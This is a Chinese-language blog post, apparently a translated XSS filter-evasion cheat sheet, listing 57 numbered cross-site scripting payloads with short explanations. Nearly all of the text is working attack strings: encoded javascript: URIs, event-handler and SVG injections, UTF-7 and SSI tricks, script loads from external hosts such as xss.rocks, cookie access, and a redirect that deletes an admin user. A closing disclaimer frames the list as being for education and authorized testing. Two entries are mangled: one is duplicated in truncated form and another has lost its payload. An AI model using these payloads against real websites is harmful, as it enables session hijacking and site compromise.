XSS绕过总结

Milktea 发布于 2024-08-13 558 次阅读 2954 字 最后更新于 2024-08-13


1. XSS定位器

在大多数存在漏洞的地方,插入以下代码将弹出含有“XSS”字样的对话框。建议使用URL编码器对整个代码进行编码。

小贴士:如果想快速检查页面,可以插入“<任意文本>”,然后观察页面输出是否有明显变化,以判断是否存在漏洞。

以下为具体代码实现:

‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;
alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–
></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

2. 简短的XSS定位器

若页面空间有限且无JavaScript漏洞,以下简短的字符串可用于快速检测XSS注入。注入后查看页面源代码,检查是否出现**<XSS** 或 <XSS 字样。

”;!–”<XSS>=&{()}

3. 无过滤绕过

这是一个标准的XSS注入代码,通常会被防御,但建议先测试一下。

<SCRIPT SRC=http://127.0.0.1/xss.js></SCRIPT>

4. 利用多语言进行过滤绕过

利用多种语言特性,可以绕过过滤机制。以下为示例代码:

‘”>><marquee><img src=x onerror=confirm(1)></marquee>”></plaintext\></|\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script>
<script>alert(document.cookie)</script>”>
<img/id=”confirm&lpar;1)”/alt=”/”src=”/”onerror=eval(id)>’”>
<img src=”https://www.fujieace.com/wp-content/images/2015/07/hacked-compressor.jpg“>

5. 通过JavaScript命令实现的图片XSS

图片注入使用JavaScript命令实现,适用于大多数浏览器环境。示例代码如下:

<IMG SRC=”javascript:alert(‘XSS’);”>

6. 无分号无引号

不使用分号和引号的XSS攻击示例:

<IMG SRC=javascript:alert(‘XSS’)>

7. 不区分大小写的XSS攻击向量

XSS攻击向量,不区分JavaScript函数的大小写:

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

8. HTML实体

使用HTML实体进行XSS攻击,需要分号以生效:

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

9. 重音符混淆

当需要在JavaScript代码中同时使用单引号和双引号时,可使用重音符(`)包含代码:

<IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>

10. 畸形的A标签

通过跳过HREF标签找到XSS漏洞的方法:
<a onmouseover=”alert(document.cookie)”>xxs link</a>

11. 畸形的IMG标签

通过不严格的HTML解析来构建含有IMG标签的XSS攻击向量:
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

12. fromCharCode函数

如果不允许使用引号,可以使用JavaScript的fromCharCode函数创建XSS攻击向量:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

13. 使用默认SRC属性绕过SRC域名过滤器

这种方法可以绕过大多数SRC域名过滤器,适用于任何HTML标签:
<IMG SRC=# onmouseover=”alert(‘xxs’)”>

14. 使用默认为空的SRC属性

<IMG SRC= onmouseover=”alert(‘xxs’)”>

15. 使用不含SRC属性

<IMG onmouseover=”alert(‘xxs’)”>

16. 通过error事件触发alert

<IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img>

17. 对IMG标签中onerror属性进行编码

<img src=x onerror=”&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041″>

18. 十进制HTML字符实体编码

这种编码方式在某些浏览器中不支持直接使用javascript:形式的XSS示例:
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

19. 不带分号的十进制HTML字符实体编码

这种编码方式适用于绕过特定形式的XSS过滤:
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

20. 不带分号的十六进制HTML字符实体编码

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x 

20. 不带分号的十六进制HTML字符实体编码

此方法绕过某些假设字符实体编码需要用分号结尾的过滤器:

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

21. 内嵌TAB

使用TAB字符分隔XSS攻击代码,适用于某些解析环境:

<IMG SRC=”jav ascript:alert(‘XSS’);”>

22. 内嵌编码后的TAB

使用编码后的TAB字符分隔XSS攻击代码:

<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>

23. 内嵌换行分隔XSS攻击代码

利用换行字符分隔代码,仅特定字符有效:

<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>

24. 内嵌回车分隔XSS攻击代码

使用回车字符分隔,注意字符长度:

<IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”>

25. 使用空字符分隔JavaScript指令

空字符也可以用作XSS攻击,需要特殊工具或编码:

perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

26. 利用IMG标签中JavaScript指令前的空格和元字符

如果过滤器不计算“javascript:”前的空格,这种方法将有效:

<IMG SRC=” &#14;  javascript:alert(‘XSS’);”>

27. 利用非字母非数字字符

某些浏览器的HTML解析器认为非字母非数字字符作为空白或无效符号,而XSS过滤器可能未考虑此情况:

<SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT>

28. 额外的尖括号

通过在XSS攻击向量中添加额外的尖括号来绕过某些检测引擎:

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

29. 未闭合的script标签

在某些浏览器中,未闭合的标签会被自动闭合,这为XSS提供了机会:

<SCRIPT SRC=http://127.0.0.1/xss.js?< B >

30. script标签中的协议解析

特定的协议解析方式可以绕过过滤器,特别适用于空间有限的情况:

<SCRIPT SRC=//xss.rocks/.j>

31. 只含左尖括号的HTML/JavaScript XSS向量

在某些浏览器中,不需要闭合标签的右尖括号就可以执行XSS攻击:

<IMG SRC=”javascript:alert(‘XSS’)”

32. 多个左尖括号

使用多个左尖括号作为标签结尾在不同浏览器中有不同的效果:

<iframe src=http://127.0.0.1/scriptlet.html <

33. JavaScript双重转义

当应用将用户输入输出到页面上时,双重转义可能会触发XSS攻击:

\”;alert(‘XSS’);//
</script><script>alert(‘XSS‘)

34. 闭合title标签

通过闭合title标签进行XSS攻击:

35. INPUT image

利用输入类型为image的INPUT标签执行XSS:

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

36. BODY image

在BODY标签的BACKGROUND属性中插入XSS代码:

<BODY BACKGROUND="javascript:alert('XSS')">

37. IMG Dynsrc

通过IMG标签的DYNSRC属性实施XSS攻击:

<IMG DYNSRC="javascript:alert('XSS')">

38. IMG lowsrc

利用IMG标签的LOWSRC属性进行XSS注入:

<IMG LOWSRC="javascript:alert('XSS')">

39. List-style-image

通过样式属性中的list-style-image进行XSS攻击,仅在特定浏览器环境下有效:

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

40. 图片中引用VBscript

利用VBScript在IMG标签中执行XSS:

<IMG SRC='vbscript:msgbox("XSS")'>

41. Livescript (仅限旧版本Netscape)

在老版本的Netscape浏览器中,通过Livescript执行XSS:

<IMG SRC="livescript:[code]">

42. SVG对象标签

使用SVG标签触发XSS攻击:

<svg/onload=alert('XSS')>

43. ECMAScript 6

利用ECMAScript 6特性构造XSS攻击:

Set.constructor`alert\x28document.domain\x29```

44. BODY标签

通过BODY标签的事件处理器实现XSS攻击,无需"javascript:"前缀:

<BODY ONLOAD=alert('XSS')>

45. PHP

在服务器端安装了PHP的情况下,可以利用PHP脚本实施XSS攻击:

<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>

46. 嵌入命令的IMAGE

利用IMAGE标签在密码保护页面上执行命令,适用于管理员权限环境:

<IMG SRC="https://www.fujieace.com/somecommand.php?somevariables=maliciouscode">

47. 嵌入命令的IMAGE II

通过重定向图片到特定命令,可以在普通的图片请求中隐藏XSS攻击:

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

48. Cookie篡改

利用META标签覆写cookie,适用于某些特定场景:

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

49. UTF-7编码

在页面未指定编码或浏览器设置为UTF-7编码时,可以利用UTF-7执行XSS攻击:

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

50. 利用HTML引号包含的XSS

在某些浏览器中,可以通过特定的引号使用方式绕过XSS过滤器:

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>

51. URL字符绕过

使用不同的编码和格式化方式绕过URL过滤:

<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="//www.google.com/">XSS</A>

52. 利用不过滤特定字符串的WAF

有些WAF可能不会过滤某些特定的字符串或脚本结构,可以利用这一点构造XSS攻击。

<Img src=x onerror="javascript: window.onerror = alert; throw XSS">
<Video> <source onerror="javascript: alert(XSS)">

53. Alert混淆以绕过过滤器

通过变换alert函数的调用方式,绕过对alert关键字的过滤。

(alert)(1)
a=alert,a(1)
[1].find(alert)

54. 在FLASH中使用ActionScript混淆XSS攻击向量

利用FLASH文件中的ActionScript代码进行混淆,以绕过过滤器:

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);

55. 使用XML数据岛生成含内嵌JavaScript的本地XML文件

通过本地XML文件包含JavaScript代码实施XSS攻击:

<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

56. 使用一些字符绕过".js"过滤

通过改名将JavaScript文件伪装成图像文件,以绕过过滤器:

<SCRIPT SRC="http://127.0.0.1/xss.jpg"></SCRIPT>

57. SSI(服务器端脚本包含)

如果服务器端允许SSI,可以利用它执行XSS攻击:

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://127.0.0.1/xss.js></SCRIPT>'"-->

以上提到的XSS攻击技巧和方法,都是为了帮助安全专家更好地理解和预防XSS漏洞。强调这些技术仅用于教育和安全测试目的,任何非法使用都是不道德的,可能会导致严重的法律后果。安全研究员和渗透测试人员应在合法和道德的框架内操作,确保网络空间的安全和稳定。

此作者没有提供个人介绍
最后更新于 2024-08-13